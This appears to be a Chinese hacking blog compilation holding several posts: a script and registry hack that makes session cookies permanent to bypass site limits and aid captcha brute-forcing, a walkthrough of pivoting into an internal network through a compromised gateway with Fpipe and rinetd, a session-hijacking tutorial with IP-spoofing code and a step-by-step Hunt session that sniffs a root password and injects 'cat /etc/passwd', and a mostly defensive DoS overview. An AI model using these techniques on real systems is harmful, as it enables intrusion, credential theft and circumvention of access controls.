所谓的 session cookie, 就是站台在你登录成功后,送上一个 cookie,表示你已经通过验证,但与一般cookie不同的是,他并不会存在你的硬盘上,也就是说:在你离开浏览器之后,就会消失,也就是意味:下次你重开浏览器,再进此站,此 cookie 已经不见了。

那么,要怎么让这个 cookie 永远有效呢?说永远太久了

我们就来个 50 年不变吧...

以下是代码片段:

set win=external.menuArguments

s = win.document.cookie

for each i in split(s,"; ")

document.cookie = i & "; expires=Thu, 1 Jan 2099 0:0:0 UTC"

next

原理很简单:就是把session cookie读出来,然后把他的expire日期,往后设到十几年后,就这么简单..

用这个的好处?

1. 有些站台,用session cookie,让你只能用IE下载,而不能用flashget抓(因为flashget抓不到 session cookie),用这程序,就可以破这些站台 直接用flashget, nettransport抓.

2. 像是 holio等站台,login之后,跑一次,之后就可以免登录,不需验证,直接进入网页,(时效,看asp session而定,一般是1天左右)

3. 破解一些简单的网站,如 softking(有未注册者,只能查询三次,否则要关掉浏览器重来的不合理限制)在softking,跑一次之后,这时cookie记录永远是check,softview=1.. 也就是说,不管你查询多少次,送出的cookie值永远是1 造成浏览限制的取消.

4. 登录论坛,嫌论坛给的保存Cookie时限不够长吗?自己加到50年吧..

5. 破解 需人工输入屏幕所见之gif数字 的前门 (只人工输入一次,保存cookie,暴力破解)

好,那要怎么跑这个程序呢?

##################

[一般用法: 适用: IE, Sleipnir, MyIE2, 所有的浏览器]

加在IE鼠标右键(就是你要跑FlashGET抓文件时,按鼠标右键,然后选择下载,那种就是IE鼠标右键)

把以下这个程序,存在 c:\winnt\web\pcookie.htm

以下是代码片段:

<script language="VBScript">

set win=external.menuArguments

set doc=win.document

s = doc.cookie

for each i in split(s,"; ")

doc.cookie = i & "; expires=Thu, 1 Jan 2099 0:0:0 UTC"

next

</script>

---------------------------------------

再把以下这个REG檔,存在 c:\winnt\web\pcookie.reg

---------------------------------------

以下是代码片段:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\(&P)cookie]

@="c:/winnt/web/pcookie.htm"

"Contexts"=dword:000000ff

---------------------------------------

执行 reg档,之后重开IE,就可以在IE鼠标右键里面,使用了

##################

[Sleipnir专用]

最上方的网址栏,右边有一个绿色箭头,那个就是AddrMenu,按下去,选「编辑延伸选单」

在AddrMenu.INI, 最底行,加入这一行(以下3行需连成1行)

---------------------------------------

以下是代码片段:

(&P)cookie|javascript :var ar = document.cookie.split("; ");

for (i=0; i<ar.length; i++) { document.cookie = ar +

"; expires=Thu, 1 Jan 2099 0:0:0 UTC"; }; eval()

突破网关 用端口重定向进入内网

经常有人问我这个问题“怎样进入内网”,怎么回答呢,归纳起来就是一句话“突破网关,利用端口重定向进入内网”。

首选要突破网关(GetWay),这很容易理解,因为一个内网要访问internet总是必然通过网关接入的,至于怎样突破网关,这和进入不是网关的服务器没有什么两样,就不说了。

突破网关以后,我们的目标就是通过网关(IP为202.98.*.*)上网的192.168.21.75。以后的方法就是在网关力端口重定向,建立包转发。端口重定向分两种(local和remote),但是我们要进而内网,显然不能用local方式的重定向,local方式的重定向主要用来绕过_blank">防火墙(关于这个问题我将在随后单独写一篇文章来讨论怎样用端口重定向绕过_blank">防火墙)。

一、利用Fpipe建立端口重定向。

Fpipe是个非常有趣的东东。为了证明Fpipe的端口重定向功能,我们来做这样的试验。

首先在自己的机器上运行Fpipe,如下:

E:\tool\FPip>fpipe -l 80 -s 90 -r 80 202.98.177.162

FPipe v2.1 - TCP/UDP port redirector.

Copyright 2000 (c) by Foundstone, Inc.

http://www.foundstone.com

//解释一下这个命令

fpipe -l 80 -s 90 -r 80 202.98.177.162

将到本机80端口的连接通过90端口连接到202.98.177.162的80端口。

一下是详细语法:

FPipe [-hv?] [-brs ] IP

-?/-h - shows this help text

-c - maximum number of allowed simultaneous connections. Default is 32 #连接的最大数目,默认是32

-l - listening port number #要监听的TCP端口号

-r - remote TCP port number #要定向到的IP主机的端口号

-s - outbound connection source port number #从哪个端口发出重定向信息

-v - verbose mode #详细显示过程

在上面的过程中,我们在自己的机器上建立了端口重定向:将到本机80端口的连接通过90端口连接到202.98.177.162的80端口

然后我们在浏览器中输入:

http://127.0.0.1,结果发现昆明高新区的网页打了,这说明我们的重定向成功。

此时fpipe现实了如下的内容:

Pipe connected:

In: 127.0.0.1:2092 --> 127.0.0.1:80

Out: 192.168.168.112:90 --> 202.98.177.162:80

从上面的输出可以看出数据包经过的路径(192.168.168.112是我的IP)

好了成功以后,下面的东西我不说大家也知道了,将Fpipe拷贝到我们控制的网关上,执行重定向:

fpipe -l 81 -s 91 -r 21 192.168.21.75 #在网关(202.98.*.*)执行,将到202.98.*.*的81端口的数据通过91端口转发向192.168.21.75的21端口。同样的:

fpipe -l 82 -s 92 -r 23 192.168.21.75 #将到202.98.*.*的82端口的数据通过92端口转发向192.168.21.75的23端口

fpipe -l 83 -s 93 -r 80 192.168.21.75 #将到202.98.*.*的83端口的数据通过93端口转发向192.168.21.75的80端口

fpipe -l 84 -s 94 -r 139 192.168.21.75 #将到202.98.*.*的84端口的数据通过94端口转发向192.168.21.75的139端口

下面的你更应该知道了:

如果你在本机telnet到202.98.*.*的81就等价于你telnet到192.168.21.75的21,不对啊!192.168.21.75的21应该FTP上去才对啊(哈哈),那就ftp到202.98.*.*的81端口吧!

写到这里我也忍不住喊“真牛…………真牛…………”

二、利用rinetd建立重定向。

方法和上面一样。在网关上运行rineted,不过要建立个配置文件(文件名和扩展名随意了在这里我以配置文件为conf.ini做例子说)

在本地用计事本建立如下内容的配置文件(其中的*不方便说,别找这写哦!他的意思是将到202.98.*.* 的90的包转发到192.168.21.75的80)

202.98.*.* 90 192.168.21.75 80

将他存为conf.ini文件然后和rineted拷贝到那个网关上(202.98.*.* ),然后

在网关上执行

rinetd -c conf.ini

然后你连接到202.98.*.* 90和连接到192.168.21.75 80的效果是一样的。

顺便说说rinetd配置文件的语法为

bindaddress bindport connectaddress connectport

写在后面:

Fpipe和rineted是很牛的两个工具,通常我是用这两个工具来突破_blank">防火墙的,以后抽空说说这个问题。

什么什么,这两个小东西在那下载(别懒了,自己找把):

http://www.boutell.com/rinetd/

http://www.foundstone.com

去看看吧!

经典Webshell提权集合九招

无法查看这则摘要。请 点击此处查看博文。

黑客技术分析 会话劫持攻击实战详解

前言

  通常,大家所说的入侵,都是针对一台主机,在获得管理员权限后,就很是得意;其实,真正的入侵是占领整个内部网络。针对内部网络的攻击方法比较多,但比较有效的方法非ARP欺骗、DNS欺骗莫属了。但是,不管使用什么技术,无非都是抓取目标的数据包,然后分析出敏感数据。如果目标内部采用的是共享式网络(采用HUB集线器连网),那只需要把网卡设置为“混杂模式”,挂上嗅探器(Sniffer),就能简听到你想得到的数据。如果是交换式网络(采用交换机连网),这样方法就行不通了,因为对于嗅探器,有三种网络环境是无法跨越的:“网桥”、“交换机”、“路由器”。可惜,对于ARP欺骗,交换式网络还是无能为力,如果我们借助ARP欺骗,在实现更高一层的“入侵手段”,从而真正的控制内部网络。这也就是本文要叙述的会话劫持攻击……

  一、会话劫持原理

  1、什么是会话劫持

  在现实生活中,比如你去市场买菜,在交完钱后你要求先去干一些别的事情,稍候再来拿菜;如果这个时候某个陌生人要求把菜拿走,卖菜的人会把菜给陌生人吗?!当然,这只是一个比喻,但这恰恰就是会话劫持的喻意。所谓会话,就是两台主机之间的一次通讯。例如你Telnet到某台主机,这就是一次Telnet会话;你浏览某个网站,这就是一次HTTP会话。而会话劫持(Session Hijack),就是结合了嗅探以及欺骗技术在内的攻击手段。例如,在一次正常的会话过程当中,攻击者作为第三方参与到其中,他可以在正常数据包中插入恶意数据,也可以在双方的会话当中进行简听,甚至可以是代替某一方主机接管会话。我们可以把会话劫持攻击分为两种类型:1)中间人攻击(Man In The Middle,简称MITM),2)注射式攻击(Injection);并且还可以把会话劫持攻击分为两种形式:1)被动劫持,2)主动劫持;被动劫持实际上就是在后台监视双方会话的数据流,丛中获得敏感数据;而主动劫持则是将会话当中的某一台主机“踢”下线,然后由攻击者取代并接管会话,这种攻击方法危害非常大,攻击者可以做很多事情,比如“cat etc/master.passwd”(FreeBSD下的Shadow文件)。

  MITM攻击简介

  这也就是我们常说的“中间人攻击”,在网上讨论比较多的就是SMB会话劫持,这也是一个典型的中间人攻击。要想正确的实施中间人攻击,攻击者首先需要使用ARP欺骗或DNS欺骗,将会话双方的通讯流暗中改变,而这种改变对于会话双方来说是完全透明的。关于ARP欺骗黑客防线介绍的比较多,网上的资料也比较多,我就不在多说了,我只简单谈谈DNS欺骗。DNS(Domain Name System),即域名服务器,我们几乎天天都要用到。对于正常的DNS请求,例如在浏览器输入www.hacker.com.cn,然后系统先查看Hosts文件,如果有相对应的IP,就使用这个IP地址访问网站(其实,利用Hosts文件就可以实现DNS欺骗);如果没有,才去请求DNS服务器;DNS服务器在接收到请求之后,解析出其对应的IP地址,返回给我本地,最后你就可以登陆到黑客防线的网站。而DNS欺骗则是,目标将其DNS请求发送到攻击者这里,然后攻击者伪造DNS响应,将正确的IP地址替换为其他IP,之后你就登陆了这个攻击者指定的IP,而攻击者早就在这个IP中安排好了恶意网页,可你却在不知不觉中已经被攻击者下了“套”……DNS欺骗也可以在广域网中进行,比较常见的有“Web服务器重定向”、“邮件服务器重定向”等等。但不管是ARP欺骗,还是DNS欺骗,中间人攻击都改变正常的通讯流,它就相当于会话双方之间的一个透明代理,可以得到一切想知道的信息,甚至是利用一些有缺陷的加密协议来实现。

  注射式攻击简介

  这种方式的会话劫持比中间人攻击实现起来简单一些,它不会改变会话双方的通讯流,而是在双方正常的通讯流插入恶意数据。在注射式攻击中,需要实现两种技术:1)IP欺骗,2)预测TCP序列号。如果是UDP协议,只需伪造IP地址,然后发送过去就可以了,因为UDP没有所谓的TCP三次握手,但基于UDP的应用协议有流控机制,所以也要做一些额外的工作。对于IP欺骗,有两种情况需要用到:1)隐藏自己的IP地址;2)利用两台机器之间的信任关系实施入侵。在Unix/Linux平台上,可以直接使用Socket构造IP包,在IP头中填上虚假的IP地址,但需要root权限;在Windows平台上,不能使用Winsock,需要使用Winpacp(也可以使用Libnet)。例如在Linux系统,首先打开一个Raw Socket(原始套接字),然后自己编写IP头及其他数据。可以参考下面的实例代码:

sockfd = socket(AF_INET, SOCK_RAW, 255);

setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

struct ip *ip;

struct tcphdr *tcp;

struct pseudohdr pseudoheader;

ip->ip_src.s_addr = xxx;

pseudoheader.saddr.s_addr = ip->ip_src.s_addr;

tcp->check = tcpchksum((u_short *)&pseudoheader,12+sizeof(struct tcphdr));

sendto(sockfd, buf, len, 0, (const sockaddr *)addr, sizeof(struct sockaddr_in));

  对于基于TCP协议的注射式会话劫持,攻击者应先采用嗅探技术对目标进行简听,然后从简听到的信息中构造出正确的序列号,如果不这样,你就必须先猜测目标的ISN(初始序列号),这样无形中对会话劫持加大了难度。那为什么要猜测会话双方的序列号呢?请继续往下看。

  2、TCP会话劫持

  本文主要叙述基于TCP协议的会话劫持。如果劫持一些不可靠的协议,那将轻而易举,因为它们没有提供一些认证措施;而TCP协议被欲为是可靠的传输协议,所以要重点讨论它。

  根据TCP/IP中的规定,使用TCP协议进行通讯需要提供两段序列号,TCP协议使用这两段序列号确保连接同步以及安全通讯,系统的TCP/IP协议栈依据时间或线性的产生这些值。在通讯过程中,双方的序列号是相互依赖的,这也就是为什么称TCP协议是可靠的传输协议(具体可参见RFC 793)。如果攻击者在这个时候进行会话劫持,结果肯定是失败,因为会话双方“不认识”攻击者,攻击者不能提供合法的序列号;所以,会话劫持的关键是预测正确的序列号,攻击者可以采取嗅探技术获得这些信息。

TCP协议的序列号

  现在来讨论一下有关TCP协议的序列号的相关问题。在每一个数据包中,都有两段序列号,它们分别为:

SEQ:当前数据包中的第一个字节的序号

ACK:期望收到对方数据包中第一个字节的序号

  假设双方现在需要进行一次连接:

S_SEQ:将要发送的下一个字节的序号

S_ACK:将要接收的下一个字节的序号

S_WIND:接收窗口

//以上为服务器(Server)

C_SEQ:将要发送的下一个字节的序号

C_ACK:将要接收的下一个字节的序号

C_WIND:接收窗口

//以上为客户端(Client)

它们之间必须符合下面的逻辑关系,否则该数据包会被丢弃,并且返回一个ACK包(包含期望的序列号)。

C_ACK

  如果不符合上边的逻辑关系,就会引申出一个“致命弱点”,具体请接着往下看。

  致命弱点

  这个致命的弱点就是ACK风暴(Storm)。当会话双方接收到一个不期望的数据包后,就会用自己期望的序列号返回ACK包;而在另一端,这个数据包也不是所期望的,就会再次以自己期望的序列号返回ACK包……于是,就这样来回往返,形成了恶性循环,最终导致ACK风暴。比较好的解决办法是先进行ARP欺骗,使双方的数据包“正常”的发送到攻击者这里,然后设置包转发,最后就可以进行会话劫持了,而且不必担心会有ACK风暴出现。当然,并不是所有系统都会出现ACK风暴。比如Linux系统的TCP/IP协议栈就与RFC中的描述略有不同。注意,ACK风暴仅存在于注射式会话劫持。

  TCP会话劫持过程

  假设现在主机A和主机B进行一次TCP会话,C为攻击者,劫持过程如下:

A向B发送一个数据包

SEQ (hex): X ACK (hex): Y

FLAGS: -AP--- Window: ZZZZ,包大小为:60

B回应A一个数据包

SEQ (hex): Y ACK (hex): X+60

FLAGS: -AP--- Window: ZZZZ,包大小为:50

A向B回应一个数据包

SEQ (hex): X+60 ACK (hex): Y+50

FLAGS: -AP--- Window: ZZZZ,包大小为:40

B向A回应一个数据包

SEQ (hex): Y+50 ACK (hex): X+100

FLAGS: -AP--- Window: ZZZZ,包大小为:30

攻击者C冒充主机A给主机B发送一个数据包

SEQ (hex): X+100 ACK (hex): Y+80

FLAGS: -AP--- Window: ZZZZ,包大小为:20

B向A回应一个数据包

SEQ (hex): Y+80 ACK (hex): X+120

FLAGS: -AP--- Window: ZZZZ,包大小为:10

  现在,主机B执行了攻击者C冒充主机A发送过来的命令,并且返回给主机A一个数据包;但是,主机A并不能识别主机B发送过来的数据包,所以主机A会以期望的序列号返回给主机B一个数据包,随即形成ACK风暴。如果成功的解决了ACK风暴(例如前边提到的ARP欺骗),就可以成功进行会话劫持了。

  关于理论知识就说到这里,下面我以具体的实例演示一次会话劫持。

  二、会话劫持实践

  1、唠叨几句

  可以进行会话劫持的工具很多,比较常用有Juggernaut,它可以进行TCP会话劫持的网络Sniffer程序;TTY Watcher,而它是针对单一主机上的连接进行会话劫持。还有如Dsniff这样的工具包也可以实现会话劫持,只是看你会不会使用了。但,能将会话劫持发挥得淋漓尽致的,还要算Hunt这个工具了。它的作者是Pavel Krauz,可以工作在Linux和一些Unix平台下。它的功能非常强大,首先,无论是在共享式网络还是交换式网络,它都可以正常工作;其次,可以进行中间人攻击和注射式攻击。还可以进行嗅探、查看会话、监视会话、重置会话。通过前面的叙述,我们知道在注射式攻击中,容易出现ACK风暴,解决办法是先进行ARP欺骗;而使用Hunt进行注射式攻击时,它并不进行ARP欺骗,而是在会话劫持之后,向会话双方发送带RST标志位的TCP包以中断会话,避免ACK风暴继续下去。而中间人攻击是先进行ARP欺骗,然后进行会话劫持。Hunt目前最新版本是1.5,可以到Pavel Krauz网站下载源代码包和二进制文件:http://lin.fsid.cvut.cz/~kra/#hunt。

  现在来看看如果使用Hunt,首先是下载并编译源代码:

[root@dahubaobao hunt]#wget http://www.ringz.org/hunt-1.5.tgz

[root@dahubaobao hunt]#tar zxvf hunt-1.5.tgz

[root@dahubaobao hunt]#cd hunt-1.5

[root@dahubaobao hunt-1.5]#make

[root@dahubaobao hunt-1.5]#./hunt

//Hunt是完全交互试的操作

解释一下各个选项的含义

l/w/r) list/watch/reset connections

//l(字母l)为查看当前网络上的会话;w为监视当前网络上的某个会话;r为重置当前网络上的某个会话。

a) arp/simple hijack (avoids ack storm if arp used)

//中间人攻击(会话劫持),Hunt先进行ARP欺骗,然后进行会话劫持。使用此方法可以避免出现ACK风暴。

s) simple hijack

//简单的会话劫持,也就是注射式攻击。会出现ACK风暴。

d) daemons rst/arp/sniff/mac

//该选项共实现四个功能,分别为:终止会话,自动发送带RST标志位的TCP包;ARP欺骗后进行数据包转发;不用说了,嗅探功能;在当前网络上收集MAC地址。

其他的选项很简单,不在多说了。还是来看看具体的例子吧,我想大家都等不及了!^_^

2、应用实例

  测试环境:

  攻击者:Red Hat Linux 9.0 IP:192.168.0.10

  主机A:Windows Advanced Server IP:192.168.0.1

  主机B:FreeBSD 4.9 STABLE IP:192.168.0.20

[root@dahubaobao hunt-1.5]#./hunt

/*

* hunt 1.5

* multipurpose connection intruder / sniffer for Linux

* (c) 1998-2000 by kra

*/

starting hunt

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*> l //查看当前网络上的会话

0)192.168.0.1 [3465] ?192.168.0.20 [23]

//主机A正在Telnet到主机B

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*> w //监视当前网络上的会话

0)192.168.0.1 [3465] ?192.168.0.20 [23]

Choose conn>0 //选择打算监视的会话。由于我的条件有限,不能模拟多个会话,请多见量。

Dump [s]rc/[d]st/[b ]oth [b ]> //回车

Print sec/dst same charactes y/n [n]> //回车 现在就可以监视会话了。主机A输入的一切内容,我们都可以看到。主机A在Telnet并登陆之后,直接su root,password:后边的就是root的密码。现在这个系统已经完全由你所控制了,自由发挥吧!

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*> s //进行注射式会话劫持

0)192.168.0.1 [3465] ?192.168.0.20 [23]

choose conn> 0

dump connection y/n [n]>

Enter the command string you wish executed or [cr]> cat /etc/passwd

攻击者的意图是获取主机B的passwd文件的内容,但由于注射式会话劫持缺陷,导致了ACK风暴,所以Hunt向会话双方发送了一个带RST标志位的TCP包来阻止ACK风暴。

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*> a //进行中间人会话劫持

0)192.168.0.1 [3862] ?192.168.0.20 [23]

choose conn> 0

arp spoof src in dst y/n [y]>

src MAC [XX:XX:XX:XX:XX:XX]>

arp spoof dst in src y/n [y]>

dst MAC [XX:XX:XX:XX:XX:XX]>

input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]>

dump connectin y/n [y]> n

press key to take voer of connection

ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA

ILED

do you want to force arp spoof nutil successed y/n [y]>

CTRL-C to break

CTRL+C //手工输入CTRL+C中断,不需等待

-- operation canceled - press any key>

ARP spoof failed

ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED

you took over the connection

CTRL-] to break

-bash-2.05b$id

....................

  现在,攻击者已经成功的劫持了主机A和B之间的Telnet会话。主机A输入的一切命令攻击者都可以看到,并且攻击者也可以自行插入命令。正如前边所说的,这种会话劫持方式先进行ARP欺骗,然后才劫持,所以,ACK风暴是不会出现的;而且,这种方式要比注射式会话劫持危害更大,从上文中我想就能看出来,我就不必在多说什么了。还有一些如Sniffer等功能,都很简单,由于已不在本文范畴,故不在多说。

  三、会话劫持防范

  防范会话劫持是一个比较大的工程。首先应该使用交换式网络替代共享式网络,虽然像Hunt这样的工具可以在交换环境中实现会话劫持,但还是应该使用交换式网络替代共享式网络,因为这样可以防范最基本的嗅探攻击。然而,最根本的解决办法是采用加密通讯,使用SSH代替Telnet、使用SSL代替HTTP,或者干脆使用IPSec/VPN,这样会话劫持就无用武之地了。其次,监视网络流量,如发现网络中出现大量的ACK包,则有可能已被进行了会话劫持攻击。

  还有一点是比较重要的,就是防范ARP欺骗。实现中间人攻击的前提是ARP欺骗,如能阻止攻击者进行ARP欺骗,中间人攻击还怎样进行?!如何防范ARP欺骗,黑客防线有过详细的介绍,可以参考2003年第9期杂志。

  总结

  对于渗透内部网络,会话劫持确实是一种比较有效的方法,我们应该掌握。本文的实践性很强,请大家务必动手试试,并希望能掌握此技术。Hunt这个强悍的工具使用方法很简单,但却可以把会话劫持发挥淋漓尽致,真佩服作者的编程功底。

星期一, 九月 03, 2007

安全经验谈:如何应对DoS攻击

来源:赛迪网 作者:Rambo

最不讲道理的也最简单攻击形式就是拒绝服务(DoS)攻击。这种攻击不是为了入侵系统来获取敏感信息,它的目的就是让系统崩溃,从而无法响应正当用户的请求。而且这种攻击可以非常简单,不需要任何技术功底;它的本质思想就是突破设备有效载荷。不管什么计算机系统、Web服务器、还是网络都只能处理有限的载荷,计算机系统的工作载荷通常以带多少用户、文件系统大小、数据传输速率、文件存储量等指标来衡量。一旦超过了载荷,再执行操作就无法响应了。例如,可以向某一网站泛洪,超过服务器的处理能力,就无法响应访问请求了。

常见DoS的类型

1、TCP SYN泛洪

对于TCP协议,当客户端向服务器发起连接请求并初始化时,服务器一端的协议栈会留一块缓冲区来处理“握手”过程中的信息交换。请求建立连接时发送的数据包的包头SYN位就表明了数据包的顺序,攻击者可以利用在短时间内快速发起大量连接请求,以致服务器来不及响应。同时攻击者还可以伪造源IP地址。也就是说攻击者发起大量连接请求,然后挂起在半连接状态,以此来占用大量服务器资源直到拒绝服务。虽然缓冲区中的数据在一段时间内(通常是三分钟)都没有回应的话,就会被丢弃,但在这段时间内,大量半连接足以耗尽服务器资源。

防御这种攻击没有好的办法,所有基于TCP的服务都有此“弱点”,但对于Web服务来说,有三招防御手段:设置SYN cookie、RST cookie和编辑缓冲区大小。具体方法可以搜一下,但要注意,三种方法都有局限性。

2、Smurf IP

Smurf IP利用广播地址发送ICMP包,一旦广播出去,就会被广播域内的所有主机回应,当然这些包都回应给了伪装的IP地址(指向被攻击主机),伪装IP地址可以是互联网上的任何地址,不一定在本地;假如骇客不停地发送此种类型的包,就会造成DoS攻击。

防御这种攻击要从内网入手,因为攻击是从广播域内发起的,所以一是防内贼,二是防木马、病毒以防被外控制,再一个就是利用防火墙隐藏内网;最好将这些措施组合起来。

3、其它

其它还有UDP泛洪、ICMP泛洪、死亡之ping、泪珠攻击、着陆攻击、Echo/Chargen攻击,基本思想都差不多,有兴趣的可以查查,篇幅所限这里不多介绍。

4、DDoS攻击

DDoS是分布式拒绝服务攻击,其基本思想与DoS攻击一样,只是方法不同。DDoS攻击一般通过两种方式:一是利用大量路由器,一是利用botnet。

DoS的弱点

从攻击者的角度来讲,DoS攻击的不足是要求洪水包必须能够持续发送,一旦洪水包停了,系统一般也就恢复正常了。另外如果直接从本机发起攻击,就有被跟踪到IP的危险;而利用Botnet又需要很强的控制力。

如何防御DoS

正如没有确定的方法来防止骇客攻击一样,也没有确保的方法防止所有DoS攻击。然而,有一些措施可以减小危险发生的可能性。如前面介绍的SNY cookie、RST cookie、编辑缓冲区大小。下面再介绍一些,这些方法要根据情况综合应用。

第一利用防火墙阻止外网的ICMP包,几乎没有什么理由让外网的ICMP包进入本地网络,有人可能会对此有争论,说是没有好的理由,但在我看来都一样。再一个利用工具时常检查一下网络内是否SYN_RECEIVED状态的半连接,这可能预示着SYN泛洪,许多网关型防火墙也是用此方法防御DoS攻击的。另外如果网络比较大,有内部路由器,同时网络不向外提供服务的话,可以考虑配置路由器禁止所有不是由本地发起的流量,而且考虑禁止直接IP广播。若路由器具有包过滤功能的话,可以检查数据包的源IP地址是否被伪造,来自外网的数据包源IP应该是外网IP,来自内网的数据包源IP是内网IP。最后就是防止网内出现Zombie了,没什么说的,常规防护,及时更新补丁,使用防病毒软件,制定下载策略,禁止随意下载。

到此已经对网络上基本的威胁形式有所了解,各有各的特点,这里只总结一下基本的防御措施,常规动作,一定要做好。除此之外,网络安全是个攻防对抗的动态过程,新思路新形式随时会出现,需要不断学习,针对自身网络以及威胁的特点,对症下药。再次提醒注意,常规动作一定要做好:

(1)使用防病毒软件,定期扫描。

(2)及时更新系统及软件补丁。

(3)关闭不需要的服务。

(4)浏览器配置为最高安全级。

(5)使用防火墙,对于桌面机,系统自带防火墙足够。

(6)考虑使用反间谍软件。

(7)不要在互联网泄露私人信息,除非十分有必要。

(8)企业要有相应安全策略。

当然安全保障是贯穿整个网络运维全过程的,随网络环境的不同,要求的不同,措施会有差异,没有最好,只有更好,需要不断修炼。接下来会系统地介绍一下如何进行安全防护。方法是自顶而下,由抽象到具体,首先来看一下都有哪些网络安全模型。请看下篇:网络安全之大策略。

推广链接